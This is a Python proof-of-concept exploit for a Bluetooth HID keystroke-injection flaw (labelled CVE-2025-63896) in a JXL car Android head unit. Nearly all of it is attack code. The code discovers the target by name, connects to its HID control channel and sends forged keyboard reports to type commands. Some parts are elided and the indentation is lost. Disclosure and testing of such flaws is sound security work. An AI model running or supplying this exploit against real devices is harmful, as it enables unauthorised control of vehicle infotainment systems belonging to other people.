# CVE-2025-63896 PoC - Bluetooth HID Keystroke Injection
# Target: JXL 9 Inch Car Android Double Din Player Android v12.0
import bluetooth
import struct
import time
class JXL_HID_Injector:
def __init__(self, target_name="JXL Android Player"):
self.target_name = target_name
self.bt_socket = None
def discover_devices(self):
"""Discover nearby Bluetooth devices"""
print("Scanning for Bluetooth devices...")
nearby_devices = bluetooth.discover_devices(duration=8, lookup_names=True)
for addr, name in nearby_devices:
if self.target_name in str(name):
print(f"Found target: {name} ({addr})")
return addr
return None
def connect_hid(self, target_addr):
"""Establish HID connection to target device"""
# HID Report Descriptor for keyboard
hid_descriptor = bytes([
0x05, 0x01, # Usage Page (Generic Desktop)
0x09, 0x06, # Usage (Keyboard)
0xA1, 0x01, # Collection (Application)
0x05, 0x07, # Usage Page (Key Codes)
# ... standard HID keyboard descriptor
])
# Connect using HID profile
self.bt_socket = bluetooth.BluetoothSocket(bluetooth.L2CAP)
self.bt_socket.connect((target_addr, 0x0011)) # HID Control channel
print("HID connection established")
def inject_keystroke(self, key_code):
"""Inject arbitrary keystroke to target device"""
# HID Input Report format for keyboard
# Modifier keys (1 byte) + Reserved (1 byte) + Key codes (6 bytes)
report = struct.pack('8B', 0x00, 0x00, key_code, 0x00, 0x00, 0x00, 0x00, 0x00)
self.bt_socket.send(report)
print(f"Injected keycode: {hex(key_code)}")
def inject_command(self, command):
"""Inject a command string"""
key_map = {
'a': 0x04, 'b': 0x05, 'ENTER': 0x58,
# ... standard USB HID keycodes
}
for char in command:
if char.lower() in key_map:
self.inject_keystroke(key_map[char.lower()])
time.sleep(0.1)
# Usage Example
# injector = JXL_HID_Injector()
# target = injector.discover_devices()
# if target:
# injector.connect_hid(target)
# injector.inject_command("settings")